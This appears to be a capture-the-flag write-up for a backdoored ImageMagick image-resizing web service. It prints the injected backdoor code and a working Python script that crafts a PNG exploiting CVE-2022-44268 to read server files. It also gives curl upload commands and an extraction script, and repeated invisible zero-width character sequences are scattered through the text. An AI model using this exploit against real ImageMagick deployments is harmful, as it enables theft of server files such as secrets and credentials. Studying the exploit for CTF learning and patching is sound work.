← Back to Writeups
CUSTOMMediumWeb

PNG-Sec

XESXOR9/2/20266 min read
#web#custom#medium#cve_exploitation#local_build_reproduction#metadata_exfiltration#misdeploy_diagnosis#png_chunk_injection#source_diff_backdoor_analysis#cve-2022-44268

PNG-Sec

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: cve_exploitation, local_build_reproduction, metadata_exfiltration, misdeploy_diagnosis, png_chunk_injection, source_diff_backdoor_analysis

Summary

Walkthrough of the CUSTOM Web PNG-Sec. Task: Flask PNG compressor runs a backdoored ImageMagick 7.0.10-16 convert on uploads. Solution: analyze source diff (injected tEXt backdoor in ReadOnePNGImage) plus CVE-2022-44268 PNG arbitrary file

Description

PNG compressor — a web service that "compresses images to 64x64". Given: the web endpoint and an archive png_sec.7z containing an ImageMagick source tree.

A Flask "PNG compressor" at http://109.233.56.90:11545/ accepts an image upload, runs ImageMagick convert <input> -resize 64x64 <output>, and renders a 64×64 preview. The provided archive png_sec.7z (~38 MiB) unpacks to an ImageMagick 7.0.10-16 source tree and nothing else — no app.py, no Dockerfile. The goal is to read flag.txt from the server via the image processing pipeline. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Recon / Application model

Stack: Flask on Werkzeug/2.0.2, Python/3.10.2 (dev server). Only two routes:

  • / — GET returns the upload form; POST accepts multipart field image.
  • /uploads/<path:file> — static serving via send_from_directory (safe_join blocks path traversal).

Upload behavior:

  • Extension allowlist {png, jpg, jpeg, bmp}, checked by extension only (.txt → HTTP 500; any .png content → 200).
  • The raw upload is saved to uploads/<secure_filename> and served verbatim (200) — convert never modifies the input.
  • The app runs convert uploads/<name> -resize 64x64 <output> and renders <img src="uploads/<name>.png.conv.png">. That .conv.png output is the intended served result (the compressed 64×64 preview). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

secure_filename is applied to both the save path and the convert argument, so there is no shell/template/msl: injection via the filename.

Vulnerability analysis

The archive is only the ImageMagick source tree, so the intended work is source diffing. Diffing coders/png.c against vanilla ImageMagick 7.0.10-16 reveals a single injected block in ReadOnePNGImage (~line 2954):

c
if (png_get_valid(ping,ping_info,"tEXt")){
    png_textp text_ptr;
    int num_text;
    int num_comments = png_get_text(ping, ping_info,&text_ptr, &num_text);
    for (int i=0; i<num_comments; i++){
      //printf("%s\n",text_ptr[i].text);
      if (!strcmp(text_ptr[i].text,"CTFus PNGus")){
        FILE * f = fopen("flag.txt","r");
        char buf[128];
        fgets(buf,128,f);
        fclose(f);
        printf("Flag: %s\n",buf);
      }
    }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vuln 1 — the intentional backdoor (CTFus PNGus)

  • Trigger: a PNG tEXt chunk whose value equals exactly CTFus PNGus (case-sensitive strcmp; the tEXt keyword is irrelevant).
  • Effect at read time: opens flag.txt (relative to convert's CWD), and prints Flag: <flag>\n to convert's stdout.
  • The writer path is 100% vanilla — the flag is never written into the output image by the backdoor; it only goes to stdout. This channel only helps if the app captures stdout (e.g. convert ... png:-), in which case the flag is prepended to the output PNG bytes. If the app writes to a file output, the flag stays in stdout and is discarded. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vuln 2 — CVE-2022-44268 (ImageMagick PNG arbitrary file read)

ImageMagick 7.0.10-16 is also vulnerable to CVE-2022-44268. A PNG tEXt chunk with keyword profile and value flag.txt (bytes profile\x00flag.txt) makes ImageMagick read that file and embed its contents, hex-encoded, into the output image's Raw profile type txt tEXt chunk. This lands the flag inside the served output image — the clean, reliable channel here, because the flag is a normal file-write into the convert output rather than transient stdout. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Both vulnerabilities were reproduced on a locally-rebuilt IM 7.0.10-16 in Docker (ubuntu:20.04, png+jpeg+zlib) using the provided source. The backdoor fired 20/20 deterministically; the CVE reliably placed hex(flag.txt) into the output PNG's Raw profile type txt chunk.

Exploitation (primary path — CVE-2022-44268)

1. Craft the malicious PNG

Insert a tEXt chunk profile\x00flag.txt (correct length + CRC32) before IEND on any small valid PNG base:

python
#!/usr/bin/env python3
import struct, zlib
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def png_chunk(chunk_type: bytes, data: bytes) -> bytes:
    body = chunk_type + data
    return struct.pack(">I", len(data)) + body + struct.pack(">I", zlib.crc32(body) & 0xffffffff)

# Minimal 1x1 RGB PNG base
sig  = b"\x89PNG\r\n\x1a\n"
ihdr = png_chunk(b"IHDR", struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0))
raw  = b"\x00\x00\x00\x00"          # one filtered scanline (filter 0 + RGB pixel)
idat = png_chunk(b"IDAT", zlib.compress(raw))
# CVE-2022-44268: tEXt keyword "profile", value = path to read
text = png_chunk(b"tEXt", b"profile\x00flag.txt")
iend = png_chunk(b"IEND", b"")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

with open("q.png", "wb") as f:
    f.write(sig + ihdr + idat + text + iend)
print("wrote q.png")

2. Upload it as .png

bash
curl -s -F "image=@q.png;filename=exploit.png" http://109.233.56.90:11545/
# response contains: <img src="uploads/exploit.png.conv.png">

3. Fetch the converted output and extract the flag

bash
curl -s http://109.233.56.90:11545/uploads/exploit.png.conv.png -o conv.png
exiftool -b -RawProfileType conv.png   # dumps the "Raw profile type txt" chunk

Or extract the hex programmatically (strip the leading \ntxt\n <len>\n header, remove whitespace, then bytes.fromhex): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
import re

data = open("conv.png", "rb").read()
i = data.find(b"Raw profile type txt")
blob = data[i:].split(b"\x00", 1)[1]        # after the keyword NUL
# header looks like: "\ntxt\n     NNNN\n<hex...>"
m = re.search(rb"txt\s*\n\s*\d+\s*\n([0-9a-fA-F\s]+)", blob)
hexstr = re.sub(rb"\s", b"", m.group(1))
print(bytes.fromhex(hexstr.decode()).decode(errors="replace"))
# -> spbctf{REDACTED}

Secondary path — the intended backdoor (CTFus PNGus)

Upload a PNG with a tEXt chunk whose value is exactly CTFus PNGus. On this deployment the app returns the convert output via png:-, so the backdoor's Flag: <flag>\n stdout is prepended to the served PNG bytes. The CVE path was preferred because the flag lands inside the output image regardless of whether stdout is captured. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The misdeploy blocker (lesson)

On the initially-deployed instance the .conv.png output was never served: 404 for every input (valid image, backdoor trigger, CVE payload), across all filename/case/subdir variants, at all timings (0–30 s polling, 9425 race fetches during slow uploads). The raw upload was served (200) but never modified. A misleading uploads/png.conv.png returning 3 bytes (bla) turned out to be another solver's raw upload whose secure_filename happened to be png.conv.png — not a convert output. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Diagnostics that proved the backdoor still executed server-side:

  • Timing: backdoor-trigger uploads were consistently ~120 ms slower than non-trigger (0.328 s vs 0.212 s; corrupt-trigger 0.349 s vs 0.216 s) — the cost of fopen/fgets/printf on flag.txt, and not an abort. This confirmed flag.txt exists and the backdoor fires; its stdout was simply discarded / written to an unserved path.
  • Local Flask clone: a split-directory model — raw upload saved to an absolute served dir, but convert writing uploads/X.png.conv.png relative to the app CWD (next to flag.txt, unserved) — reproduced the server exactly: raw 200, conv 404. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Dead ends ruled out:

  • OOB egress via SVG/MVG <image href> / msl: — 0 webhook hits (convert is ping/header-only, no render, no outbound network).
  • GhostScript PDF/PS/EPT file-write chains — gs 9.50 under -dSAFER allowed /tmp writes but blocked arbitrary read; no SAFER read bypass found.
  • Werkzeug debugger off (no traceback leak), path traversal blocked (safe_join), neighbouring ports 11544 (No such route) and 11546 (WRONG_CMD) unrelated.

Conclusion at the time: the instance was misdeployed — the convert output was not persisted to the served uploads directory, so the <img src=...conv.png> was broken for everyone. This was reported to the challenge author with the actionable diagnostics above. After the admin restarted the instance, /uploads/<name>.png.conv.png began returning 200 with a valid PNG, and re-running the CVE payload immediately yielded the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The lesson: rigorously distinguish a genuinely broken/misdeployed instance from a wrong approach. Timing side-channels and a faithful local clone proved the exploit was correct and the fault was server-side; reporting precise diagnostics to organizers unblocked the solve. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering cve_exploitation, local_build_reproduction, metadata_exfiltration, misdeploy_diagnosis, png_chunk_injection, source_diff_backdoor_analysis was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-07-04 • CUSTOM • PNG-Sec • Difficulty: Medium